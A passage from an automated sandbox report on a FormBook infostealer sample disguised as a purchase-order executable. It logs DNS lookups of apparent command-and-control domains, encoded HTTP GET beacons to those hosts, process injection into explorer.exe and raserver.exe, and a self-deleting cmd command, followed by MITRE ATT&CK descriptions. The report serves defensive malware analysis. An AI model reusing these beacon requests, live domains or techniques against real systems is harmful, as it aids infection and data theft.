May 12, 2021 14:43:30.838978052 CEST	53	56061	8.8.8.8	192.168.2.6
May 12, 2021 14:43:31.721178055 CEST	58336	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:31.771974087 CEST	53	58336	8.8.8.8	192.168.2.6
May 12, 2021 14:43:32.272595882 CEST	53781	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:32.331994057 CEST	53	53781	8.8.8.8	192.168.2.6
May 12, 2021 14:43:32.615772009 CEST	54064	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:32.667319059 CEST	53	54064	8.8.8.8	192.168.2.6
May 12, 2021 14:43:35.303809881 CEST	52811	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:35.362885952 CEST	53	52811	8.8.8.8	192.168.2.6
May 12, 2021 14:43:36.863873959 CEST	55299	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:36.912844896 CEST	53	55299	8.8.8.8	192.168.2.6
May 12, 2021 14:43:38.166874886 CEST	63745	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:38.216016054 CEST	53	63745	8.8.8.8	192.168.2.6
May 12, 2021 14:43:43.744782925 CEST	50055	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:43.796560049 CEST	53	50055	8.8.8.8	192.168.2.6
May 12, 2021 14:43:44.550431013 CEST	61374	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:44.602118969 CEST	53	61374	8.8.8.8	192.168.2.6
May 12, 2021 14:43:45.441957951 CEST	50339	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:45.495352983 CEST	53	50339	8.8.8.8	192.168.2.6
May 12, 2021 14:43:46.405951023 CEST	63307	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:46.466908932 CEST	53	63307	8.8.8.8	192.168.2.6
May 12, 2021 14:43:47.318855047 CEST	49694	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:47.367999077 CEST	53	49694	8.8.8.8	192.168.2.6
May 12, 2021 14:43:48.710267067 CEST	54982	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:48.759144068 CEST	53	54982	8.8.8.8	192.168.2.6
May 12, 2021 14:43:54.901154995 CEST	50010	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:55.015284061 CEST	53	50010	8.8.8.8	192.168.2.6
May 12, 2021 14:43:55.317168951 CEST	63718	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:55.378597021 CEST	53	63718	8.8.8.8	192.168.2.6
May 12, 2021 14:43:55.609453917 CEST	62116	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:55.671864033 CEST	53	62116	8.8.8.8	192.168.2.6
May 12, 2021 14:43:56.291462898 CEST	63816	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:56.413023949 CEST	53	63816	8.8.8.8	192.168.2.6
May 12, 2021 14:43:57.854007959 CEST	55014	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:57.905849934 CEST	53	55014	8.8.8.8	192.168.2.6
May 12, 2021 14:43:58.009041071 CEST	62208	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:58.074162006 CEST	53	62208	8.8.8.8	192.168.2.6
May 12, 2021 14:44:01.802985907 CEST	57574	53	192.168.2.6	8.8.8.8
May 12, 2021 14:44:01.860528946 CEST	53	57574	8.8.8.8	192.168.2.6
May 12, 2021 14:44:02.425599098 CEST	51818	53	192.168.2.6	8.8.8.8
May 12, 2021 14:44:02.484363079 CEST	53	51818	8.8.8.8	192.168.2.6
May 12, 2021 14:44:02.956604004 CEST	56628	53	192.168.2.6	8.8.8.8
May 12, 2021 14:44:03.164084911 CEST	53	56628	8.8.8.8	192.168.2.6
May 12, 2021 14:44:03.913177967 CEST	60778	53	192.168.2.6	8.8.8.8
May 12, 2021 14:44:03.970308065 CEST	53	60778	8.8.8.8	192.168.2.6
May 12, 2021 14:44:04.991370916 CEST	53799	53	192.168.2.6	8.8.8.8
May 12, 2021 14:44:05.051984072 CEST	53	53799	8.8.8.8	192.168.2.6
May 12, 2021 14:44:06.065033913 CEST	54683	53	192.168.2.6	8.8.8.8
May 12, 2021 14:44:06.122181892 CEST	53	54683	8.8.8.8	192.168.2.6
May 12, 2021 14:44:12.681934118 CEST	59329	53	192.168.2.6	8.8.8.8
May 12, 2021 14:44:12.740622044 CEST	53	59329	8.8.8.8	192.168.2.6
May 12, 2021 14:44:17.177454948 CEST	64021	53	192.168.2.6	8.8.8.8
May 12, 2021 14:44:17.328610897 CEST	53	64021	8.8.8.8	192.168.2.6
May 12, 2021 14:44:23.508150101 CEST	56129	53	192.168.2.6	8.8.8.8
May 12, 2021 14:44:23.720913887 CEST	53	56129	8.8.8.8	192.168.2.6
May 12, 2021 14:44:39.849184036 CEST	58177	53	192.168.2.6	8.8.8.8
May 12, 2021 14:44:39.937792063 CEST	53	58177	8.8.8.8	192.168.2.6
May 12, 2021 14:44:42.973548889 CEST	50700	53	192.168.2.6	8.8.8.8
May 12, 2021 14:44:43.045808077 CEST	53	50700	8.8.8.8	192.168.2.6
May 12, 2021 14:44:45.252249002 CEST	54069	53	192.168.2.6	8.8.8.8
May 12, 2021 14:44:45.323209047 CEST	53	54069	8.8.8.8	192.168.2.6
May 12, 2021 14:44:47.352068901 CEST	61178	53	192.168.2.6	8.8.8.8
May 12, 2021 14:44:47.564670086 CEST	53	61178	8.8.8.8	192.168.2.6
May 12, 2021 14:44:49.764441013 CEST	57017	53	192.168.2.6	8.8.8.8
May 12, 2021 14:44:49.838244915 CEST	53	57017	8.8.8.8	192.168.2.6
May 12, 2021 14:44:55.047101021 CEST	56327	53	192.168.2.6	8.8.8.8
May 12, 2021 14:44:55.314804077 CEST	53	56327	8.8.8.8	192.168.2.6
May 12, 2021 14:45:00.605317116 CEST	50243	53	192.168.2.6	8.8.8.8
May 12, 2021 14:45:00.763115883 CEST	53	50243	8.8.8.8	192.168.2.6
May 12, 2021 14:45:06.363883972 CEST	62055	53	192.168.2.6	8.8.8.8
May 12, 2021 14:45:06.765923977 CEST	53	62055	8.8.8.8	192.168.2.6
May 12, 2021 14:45:11.772507906 CEST	61249	53	192.168.2.6	8.8.8.8
May 12, 2021 14:45:11.843046904 CEST	53	61249	8.8.8.8	192.168.2.6
May 12, 2021 14:45:17.039460897 CEST	65252	53	192.168.2.6	8.8.8.8
May 12, 2021 14:45:17.110006094 CEST	53	65252	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 12, 2021 14:44:17.177454948 CEST	192.168.2.6	8.8.8.8	0x9f32	Standard query (0)	www.servantsheartvalet.com	A (IP address)	IN (0x0001)
May 12, 2021 14:44:23.508150101 CEST	192.168.2.6	8.8.8.8	0xd1ee	Standard query (0)	www.patricksparber.com	A (IP address)	IN (0x0001)
May 12, 2021 14:44:47.352068901 CEST	192.168.2.6	8.8.8.8	0xef1b	Standard query (0)	www.patricksparber.com	A (IP address)	IN (0x0001)
May 12, 2021 14:44:49.764441013 CEST	192.168.2.6	8.8.8.8	0x8101	Standard query (0)	www.m-kenterprises.com	A (IP address)	IN (0x0001)
May 12, 2021 14:44:55.047101021 CEST	192.168.2.6	8.8.8.8	0x719e	Standard query (0)	www.meucamarimoficial.com	A (IP address)	IN (0x0001)
May 12, 2021 14:45:00.605317116 CEST	192.168.2.6	8.8.8.8	0xbd64	Standard query (0)	www.bridgestreetresources.com	A (IP address)	IN (0x0001)
May 12, 2021 14:45:06.363883972 CEST	192.168.2.6	8.8.8.8	0x5cfc	Standard query (0)	www.uuoouu-90.store	A (IP address)	IN (0x0001)
May 12, 2021 14:45:11.772507906 CEST	192.168.2.6	8.8.8.8	0xcb64	Standard query (0)	www.shadyshainarae.com	A (IP address)	IN (0x0001)
May 12, 2021 14:45:17.039460897 CEST	192.168.2.6	8.8.8.8	0xe47f	Standard query (0)	www.sherwooddaydesigns.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 12, 2021 14:44:17.328610897 CEST	8.8.8.8	192.168.2.6	0x9f32	No error (0)	www.servantsheartvalet.com	servantsheartvalet.com		CNAME (Canonical name)	IN (0x0001)
May 12, 2021 14:44:17.328610897 CEST	8.8.8.8	192.168.2.6	0x9f32	No error (0)	servantsheartvalet.com		209.182.202.96	A (IP address)	IN (0x0001)
May 12, 2021 14:44:23.720913887 CEST	8.8.8.8	192.168.2.6	0xd1ee	No error (0)	www.patricksparber.com		156.253.106.229	A (IP address)	IN (0x0001)
May 12, 2021 14:44:47.564670086 CEST	8.8.8.8	192.168.2.6	0xef1b	No error (0)	www.patricksparber.com		156.253.106.229	A (IP address)	IN (0x0001)
May 12, 2021 14:44:49.838244915 CEST	8.8.8.8	192.168.2.6	0x8101	No error (0)	www.m-kenterprises.com	m-kenterprises.com		CNAME (Canonical name)	IN (0x0001)
May 12, 2021 14:44:49.838244915 CEST	8.8.8.8	192.168.2.6	0x8101	No error (0)	m-kenterprises.com		34.102.136.180	A (IP address)	IN (0x0001)
May 12, 2021 14:44:55.314804077 CEST	8.8.8.8	192.168.2.6	0x719e	Name error (3)	www.meucamarimoficial.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 14:45:00.763115883 CEST	8.8.8.8	192.168.2.6	0xbd64	No error (0)	www.bridgestreetresources.com	bridgestreetresources.com		CNAME (Canonical name)	IN (0x0001)
May 12, 2021 14:45:00.763115883 CEST	8.8.8.8	192.168.2.6	0xbd64	No error (0)	bridgestreetresources.com		66.235.200.147	A (IP address)	IN (0x0001)
May 12, 2021 14:45:06.765923977 CEST	8.8.8.8	192.168.2.6	0x5cfc	Name error (3)	www.uuoouu-90.store	none	none	A (IP address)	IN (0x0001)
May 12, 2021 14:45:11.843046904 CEST	8.8.8.8	192.168.2.6	0xcb64	No error (0)	www.shadyshainarae.com	shadyshainarae.com		CNAME (Canonical name)	IN (0x0001)
May 12, 2021 14:45:11.843046904 CEST	8.8.8.8	192.168.2.6	0xcb64	No error (0)	shadyshainarae.com		34.102.136.180	A (IP address)	IN (0x0001)
May 12, 2021 14:45:17.110006094 CEST	8.8.8.8	192.168.2.6	0xe47f	No error (0)	www.sherwooddaydesigns.com	ext-sq.squarespace.com		CNAME (Canonical name)	IN (0x0001)
May 12, 2021 14:45:17.110006094 CEST	8.8.8.8	192.168.2.6	0xe47f	No error (0)	ext-sq.squarespace.com		198.185.159.144	A (IP address)	IN (0x0001)
May 12, 2021 14:45:17.110006094 CEST	8.8.8.8	192.168.2.6	0xe47f	No error (0)	ext-sq.squarespace.com		198.49.23.145	A (IP address)	IN (0x0001)
May 12, 2021 14:45:17.110006094 CEST	8.8.8.8	192.168.2.6	0xe47f	No error (0)	ext-sq.squarespace.com		198.185.159.145	A (IP address)	IN (0x0001)
May 12, 2021 14:45:17.110006094 CEST	8.8.8.8	192.168.2.6	0xe47f	No error (0)	ext-sq.squarespace.com		198.49.23.144	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.servantsheartvalet.com

www.m-kenterprises.com

www.bridgestreetresources.com

www.shadyshainarae.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49744	209.182.202.96	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 12, 2021 14:44:17.541177988 CEST	6237	OUT	GET /meub/?5jYHTPD=WGLirrwFUtYpDXzpLjvBuZZEIXcS0L/7kvp4uO4ypDpemvycQ/ZH3e36klWLP588DVSUgz18wg==&W2MTZ=5jyDHn6x2rY HTTP/1.1 Host: www.servantsheartvalet.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49752	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 12, 2021 14:44:49.882224083 CEST	6280	OUT	GET /meub/?5jYHTPD=AHOwzMgiYatzzgqEm8fFrRw5FyeBXJPWAn72SIj91D3zxHtkj2kvoxgZPNykIH4K/OrW/jgvcw==&W2MTZ=5jyDHn6x2rY HTTP/1.1 Host: www.m-kenterprises.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 12, 2021 14:44:50.021295071 CEST	6281	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Wed, 12 May 2021 12:44:49 GMT Content-Type: text/html Content-Length: 275 ETag: "609953af-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49753	66.235.200.147	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 12, 2021 14:45:00.805551052 CEST	6282	OUT	GET /meub/?5jYHTPD=wcKMzz9mAcCi2aLb0t1qtV86GlMNvZH+VyhKA1jT/I4bq+nb0/na/dj3wGs+8qrOUrJA87J5aQ==&W2MTZ=5jyDHn6x2rY HTTP/1.1 Host: www.bridgestreetresources.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49754	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 12, 2021 14:45:11.886488914 CEST	6284	OUT	GET /meub/?5jYHTPD=IF6wwdQ2GC/v5+zeo737nU5N5nLUvdsVBqkfZ3TmK32/J3TLHA8Ym95CSjw9+1sG86DK55WYOQ==&W2MTZ=5jyDHn6x2rY HTTP/1.1 Host: www.shadyshainarae.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 12, 2021 14:45:12.023557901 CEST	6284	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Wed, 12 May 2021 12:45:11 GMT Content-Type: text/html Content-Length: 275 ETag: "6096ba97-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: PO 367628usa.exe PID: 6596 Parent PID: 5928

General

Start time:	14:43:06
Start date:	12/05/2021
Path:	C:\Users\user\Desktop\PO 367628usa.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\PO 367628usa.exe'
Imagebase:	0x4b0000
File size:	846336 bytes
MD5 hash:	42CF4C3943D5A839412A16A4D8B8D65D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.347022763.00000000039F5000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.347022763.00000000039F5000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.347022763.00000000039F5000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: PO 367628usa.exe PID: 6692 Parent PID: 6596

General

Start time:	14:43:13
Start date:	12/05/2021
Path:	C:\Users\user\Desktop\PO 367628usa.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\PO 367628usa.exe
Imagebase:	0x10000
File size:	846336 bytes
MD5 hash:	42CF4C3943D5A839412A16A4D8B8D65D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: PO 367628usa.exe PID: 6700 Parent PID: 6596

General

Start time:	14:43:14
Start date:	12/05/2021
Path:	C:\Users\user\Desktop\PO 367628usa.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\PO 367628usa.exe
Imagebase:	0x330000
File size:	846336 bytes
MD5 hash:	42CF4C3943D5A839412A16A4D8B8D65D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: PO 367628usa.exe PID: 6716 Parent PID: 6596

General

Start time:	14:43:14
Start date:	12/05/2021
Path:	C:\Users\user\Desktop\PO 367628usa.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\PO 367628usa.exe
Imagebase:	0x340000
File size:	846336 bytes
MD5 hash:	42CF4C3943D5A839412A16A4D8B8D65D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: PO 367628usa.exe PID: 6724 Parent PID: 6596

General

Start time:	14:43:15
Start date:	12/05/2021
Path:	C:\Users\user\Desktop\PO 367628usa.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\PO 367628usa.exe
Imagebase:	0xdc0000
File size:	846336 bytes
MD5 hash:	42CF4C3943D5A839412A16A4D8B8D65D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.389944333.0000000001440000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.389944333.0000000001440000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.389944333.0000000001440000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.390287791.0000000001860000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.390287791.0000000001860000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.390287791.0000000001860000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.388446461.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.388446461.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.388446461.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: explorer.exe PID: 3440 Parent PID: 6724

General

Start time:	14:43:20
Start date:	12/05/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff6f22f0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: raserver.exe PID: 7104 Parent PID: 3440

General

Start time:	14:43:32
Start date:	12/05/2021
Path:	C:\Windows\SysWOW64\raserver.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\raserver.exe
Imagebase:	0x950000
File size:	108544 bytes
MD5 hash:	2AADF65E395BFBD0D9B71D7279C8B5EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.588488580.0000000000910000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.588488580.0000000000910000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.588488580.0000000000910000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.589496878.0000000002E40000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.589496878.0000000002E40000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.589496878.0000000002E40000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.589661592.0000000002E70000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.589661592.0000000002E70000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.589661592.0000000002E70000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Analysis Process: cmd.exe PID: 5544 Parent PID: 7104

General

Start time:	14:43:37
Start date:	12/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\Desktop\PO 367628usa.exe'
Imagebase:	0x2a0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 5804 Parent PID: 5544

General

Start time:	14:43:37
Start date:	12/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff61de10000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

